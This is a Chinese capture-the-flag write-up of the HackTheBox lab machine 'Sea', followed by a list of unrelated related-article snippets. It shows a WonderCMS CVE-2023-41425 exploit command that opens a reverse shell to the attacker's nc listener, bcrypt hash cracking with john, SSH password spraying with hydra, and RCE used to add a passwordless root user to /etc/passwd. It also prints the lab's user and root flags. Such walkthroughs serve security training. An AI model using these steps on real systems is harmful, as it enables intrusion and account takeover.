HTB:Sea[WriteUP]
目录
连接至HTB服务器并启动靶机
使用nmap对靶机TCP端口进行开放扫描
使用curl访问靶机80端口
使用ffuf对靶机进行了一顿FUZZ
尝试在Github上搜索版权拥有者
除了LICENSE还FUZZ出了version文件尝试访问
尝试直接在Github搜索该符合该版本的EXP
横向移动
使用john对该哈希值进行爆破
使用hydra对靶机系统进行SSH服务密码喷洒
USER_FLAG:fe382298cf2c1d24dff7ffe321071998
特权提升
直接使用amay用户的凭证即可登录
ROOT_FLAG:f0029f417785aefce36306dd8ee1951a
连接至HTB服务器并启动靶机
靶机IP:10.10.11.28
分配IP:10.10.16.7
使用nmap对靶机TCP端口进行开放扫描
nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.28
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-13 22:19 EST
Warning: 10.10.11.28 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.28
Host is up (0.15s latency).
Not shown: 64119 closed tcp ports (reset), 1414 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpNmap done: 1 IP address (1 host up) scanned in 50.14 seconds
使用curl访问靶机80端口
curl -I http://10.10.11.28:80
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.28:80
HTTP/1.0 200 OK
Date: Thu, 14 Nov 2024 03:10:54 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=taj3r4rcaf7irnq5gfk3hks2o5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
使用ffuf对靶机进行了一顿FUZZ
访问LICENSE文件
curl http://10.10.11.28/themes/bike/LICENSE
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl http://10.10.11.28/themes/bike/LICENSE
MIT LicenseCopyright (c) 2019 turboblack
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
尝试在Github上搜索版权拥有者
查看Github上的LICENSE文件可以发现与我们FUZZ到的文件内容是一模一样的
基本可以确定靶机使用的WebAPP为:WonderCMS
除了LICENSE还FUZZ出了version文件尝试访问
curl http://10.10.11.28/themes/bike/version
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl http://10.10.11.28/themes/bike/version
3.2.0
尝试直接在Github搜索该符合该版本的EXP
可以看到爆了漏洞编号:CVE-2023-41425
我这里使用的EXP链接:https://github.com/duck-sec/CVE-2023-41425(如果你找到的EXP不起作用可以试试这个)
git clone https://github.com/duck-sec/CVE-2023-41425.git
配置好参数
python exploit.py -u http://sea.htb/loginURL -lh 10.10.16.7 -lp 1425 -sh 10.10.16.7 -sp 8888
将下面的链接通过/contact页面发送至管理员处,不多时便能收到访问请求
本地侧nc提前开启监听,此刻也可收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvp 1425
listening on [any] 1425 ...
10.10.11.28: inverse host lookup failed: Unknown host
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.28] 38378
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
11:03:14 up 30 min, 0 users, load average: 0.69, 0.67, 0.38
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
横向移动
通过命令可知系统内安装有python3
$ python3 -V
Python 3.8.10
提升TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
在一翻搜索后,在/var/www/sea/data目录下找到database.js文件
www-data@sea:/var/www/sea/data$ pwd
pwd
/var/www/sea/data
www-data@sea:/var/www/sea/data$ ls
ls
cache.json database.js files
使用cat命令查看其内容里面有一串哈希密码
grep -C 5 'password' database.js
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q
将该哈希值去除反斜杠后存入hash文件中
echo '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q' | tr -d '\\' > hash
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q' | tr -d '\\' > hash
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat hash
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q
使用john对该哈希值进行爆破
john hash --wordlist=../dictionary/rockyou.txt
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# john hash --wordlist=../dictionary/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mychemicalromance (?)
1g 0:00:00:29 DONE (2024-11-14 06:32) 0.03343g/s 102.9p/s 102.9c/s 102.9C/s iamcool..milena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
拿到了明文密码:mychemicalromance
由于不知道该密码对哪个用户有效,所以我们查看一下系统内支持登录的用户
cat /etc/passwd
支持终端交互的用户有:root、amay、geo
将三个用户名写入users.txt文件中
echo 'root\namay\ngeo' > users.txt
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo 'root\namay\ngeo' > users.txt
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat users.txt
root
amay
geo
使用hydra对靶机系统进行SSH服务密码喷洒
hydra -L users.txt -p 'mychemicalromance' ssh://10.10.11.28
账户:amay
密码:mychemicalromance
使用该凭证通过SSH服务登录到靶机
ssh amay@10.10.11.28
登陆后在当前目录下就能找到user.txt
amay@sea:~$ ls
user.txt
amay@sea:~$ cat user.txt
fe382298cf2c1d24dff7ffe321071998
USER_FLAG:fe382298cf2c1d24dff7ffe321071998
特权提升
查看靶机网络连接
ss -tlnp
可见靶机内部是开放了8080端口,我尝试通过SSH服务将其转发到本地
ssh -L 8080:localhost:8080 amay@10.10.11.28
端口转发后使用浏览器直接访问,上来就提示需要认证
直接使用amay用户的凭证即可登录
经过一系列测试发现,Analyze Log File此处存在任意文件读取
使用BurpSuite进行抓包重放
接着尝试RCE发现居然也可以
我尝试直接往靶机/etc/passwd文件中加入无密码管理员用户
记得将Payloadd进行URL编码
直接扔到重放器里发包
在靶机中再次查看/etc/passwd文件
cat /etc/passwd
查找root_flag位置并查看其内容
root@sea:/home/amay# find / -name 'root.txt'
/root/root.txt
root@sea:/home/amay# cat /root/root.txt
f0029f417785aefce36306dd8ee1951a
ROOT_FLAG:f0029f417785aefce36306dd8ee1951a
相关文章:

HTB:Sea[WriteUP]
目录 连接至HTB服务器并启动靶机 使用nmap对靶机TCP端口进行开放扫描 使用curl访问靶机80端口 使用ffuf对靶机进行了一顿FUZZ 尝试在Github上搜索版权拥有者 除了LICENSE还FUZZ出了version文件尝试访问 尝试直接在Github搜索该符合该版本的EXP 横向移动 使用john对该哈…...

Java 网络编程(一)—— UDP数据报套接字编程
概念 在网络编程中主要的对象有两个:客户端和服务器。客户端是提供请求的,归用户使用,发送的请求会被服务器接收,服务器根据请求做出响应,然后再将响应的数据包返回给客户端。 作为程序员,我们主要关心应…...

ECharts图表图例8
用eclipse软件制作动态单仪表图 用java知识点 代码截图:...
Redis中的线程模型
Redis 的单线程模型详解 Redis 的“单线程”模型主要指的是其 主线程,这个主线程负责从客户端接收请求、解析命令、处理数据和返回响应。为了深入了解 Redis 单线程的具体工作流程,我们可以将其分为以下几个步骤: 接收客户端请求 Redis 的主线…...
[产品管理-77]:技术人需要了解的常见概念:科学、技术、技能、产品、市场、商业模式、运营
目录 一、概念定义 科学 技术 技能 产品 市场 商业模式 运营 二、上述概念在产品创新中的作用 一、概念定义 对于技术人来说,了解并掌握科学、技术、技能、产品、市场、商业模式、运营等常见概念的定义至关重要。以下是这些概念的详细解释: 科…...

鼠标点击(一)与3D视口窗口的交互
(1) (2) (3)...

线程-2-线程概念与控制
main 线程常见寄存器(CR3 EIP IR MMU TLB) CR3是当前进程页表物理内存地址(包不能虚拟地址,不然套娃了) CPU中有寄存器指向task_struct* current EIP:入口虚拟地址 IR:当前命令地址系统总线&a…...
TortoiseSVN提示服务器凭证检核错误:站点名称不符
电脑重装了系统,下载了新版本SVN软件,一切准备就绪,准备大干一场。 打开SVN,一遍一遍的提示【TortoiseSVN提示服务器凭证检核错误:站点名称不符】,一次次的让我接受,终于忍受不了了。 TortoiseSVN提示服务…...

Diffusion Policy——斯坦福机器人UMI所用的扩散策略:从原理到其编码实现(含Diff-Control、ControlNet详解)
前言 本文一开始是属于此文《UMI——斯坦福刷盘机器人:从手持夹持器到动作预测Diffusion Policy(含代码解读)》的第三部分,考虑后Diffusion Policy的重要性很高,加之后续还有一系列基于其的改进工作 故独立成本文,且写的过程中 …...

(动画版)排序算法 -希尔排序
文章目录 1. 希尔排序(Shellsort)1.1 简介1.2 希尔排序的步骤1.3 希尔排序的C实现1.4 时间复杂度1.5 空间复杂度1.6 希尔排序动画 1. 希尔排序(Shellsort) 1.1 简介 希尔排序(Shells Sort),又…...

delphi fmx android 自动更新(二)
自己写了一个升级的类,支持android与windows 1,下载升级包,可以设置进度条 我这里用的fmxui的进度条,你也可以用原生的 http下载我用的nethttpclient, 进度条设置是比较方便的 首先获取下载文件的大小 用nethttpclient.head函数请求文件地址,得到contentlength 接着…...
蓝队知识浅谈(中)
声明:学习视频来自b站up主 泷羽sec,如涉及侵权马上删除文章 感谢泷羽sec 团队的教学 视频地址:蓝队基础之网络七层杀伤链_哔哩哔哩_bilibili 本文主要分享一些蓝队相关的知识。 一、网络杀伤链 网络杀伤链(Cyber Kill Chain&…...

解决vue3+ts打包项目时会生成map文件
在正常未配置的情况下使用npm run build 命令打包,会生成很多的js和map文件,map文件是为了方便我们在生产环境进行更友好的代码调试,但是这样就存一个安全问题;容易被攻击; 解决方法:在package.json文件,重…...

webpack指南
🌈个人主页:前端青山 🔥系列专栏:webpack篇 🔖人终将被年少不可得之物困其一生 依旧青山,本期给大家带来webpack篇专栏内容:webpack-指南 概念 中文: webpack | webpack中文文档 | webpack中文网 英文&…...
关于QUERY_ALL_PACKAGES权限导致Google下架apk
谷歌商店被下架,原因是第三方使用了 QUERY_ALL_PACKAGES 权限; Google在高版本上限制了此权限的使用。当然,并不是 QUERY_ALL_PACKAGES 这个权限没有了,而是被列为敏感权限,必须有充分的理由说明,才允许上架 GP&#…...

优化时钟网络之时钟抖动
Note:文章内容以Xilinx 7系列FPGA进行讲解 1、什么是时钟抖动 时钟抖动就是时钟周期之间出现的偏差。比如一个时钟周期为10ns的时钟,理想情况下,其上升沿会出现在0ns,10ns,20ns时刻,假设某个上升沿出现的时…...

C++《继承》
在之前学习学习C类和对象时我们就初步了解到了C当中有三大特性,分别是封装、继承、多态,通过之前的学习我们已经了解了C的封装特性,那么接下来我们将继续学习另外的两大特性,在此将分为两个章节来分别讲解继承和多态。本篇就先来学…...

微澜:用 OceanBase 搭建基于知识图谱的实时资讯流的应用实践
本文作者: 北京深鉴智源科技有限公司架构师 郑荣凯 本文整理自北京深鉴智源科技有限公司架构师郑荣凯,在《深入浅出 OceanBase 第四期》的分享。 知识图谱是一项综合性的系统工程,需要在在各种应用场景中向用户展示经过分页的一度关系。 微…...
【LeetCode】【算法】538. 把二叉搜索树转换为累加树
LeetCode 538. 把二叉搜索树转换为累加树 题目 给出二叉 搜索 树的根节点,该树的节点值各不相同,请你将其转换为累加树(Greater Sum Tree),使每个节点 node 的新值等于原树中大于或等于 node.val 的值之和。 提醒一下…...
YoloV8改进策略:注意力改进|EPSANet,卷积神经网络上的高效金字塔挤压注意力块|即插即用|代码+改进方法
摘要 论文介绍 本文介绍的论文是“EPSANet:卷积神经网络上的高效金字塔挤压注意力块”,该论文提出了一种新颖、轻量且有效的注意力方法,即金字塔挤压注意力(PSA)模块。论文通过替换ResNet瓶颈块中的 3 3 3 \times 3 3...
【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15
缘由根据当天日期输出明天的日期(需对闰年做判定)。日期类型结构体如下: struct data{ int year; int month; int day;};-编程语言-CSDN问答 struct mdata{ int year; int month; int day; }mdata; int 天数(int year, int month) {switch (month){case 1: case 3:…...

练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下,无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作,还是游戏直播的画面实时传输,低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架,凭借其灵活的编解码、数据…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...

如何理解 IP 数据报中的 TTL?
目录 前言理解 前言 面试灵魂一问:说说对 IP 数据报中 TTL 的理解?我们都知道,IP 数据报由首部和数据两部分组成,首部又分为两部分:固定部分和可变部分,共占 20 字节,而即将讨论的 TTL 就位于首…...
【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统
目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索(基于物理空间 广播范围)2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...

【VLNs篇】07:NavRL—在动态环境中学习安全飞行
项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战,克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...

在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)
考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...

uniapp 开发ios, xcode 提交app store connect 和 testflight内测
uniapp 中配置 配置manifest 文档:manifest.json 应用配置 | uni-app官网 hbuilderx中本地打包 下载IOS最新SDK 开发环境 | uni小程序SDK hbulderx 版本号:4.66 对应的sdk版本 4.66 两者必须一致 本地打包的资源导入到SDK 导入资源 | uni小程序SDK …...

代码规范和架构【立芯理论一】(2025.06.08)
1、代码规范的目标 代码简洁精炼、美观,可持续性好高效率高复用,可移植性好高内聚,低耦合没有冗余规范性,代码有规可循,可以看出自己当时的思考过程特殊排版,特殊语法,特殊指令,必须…...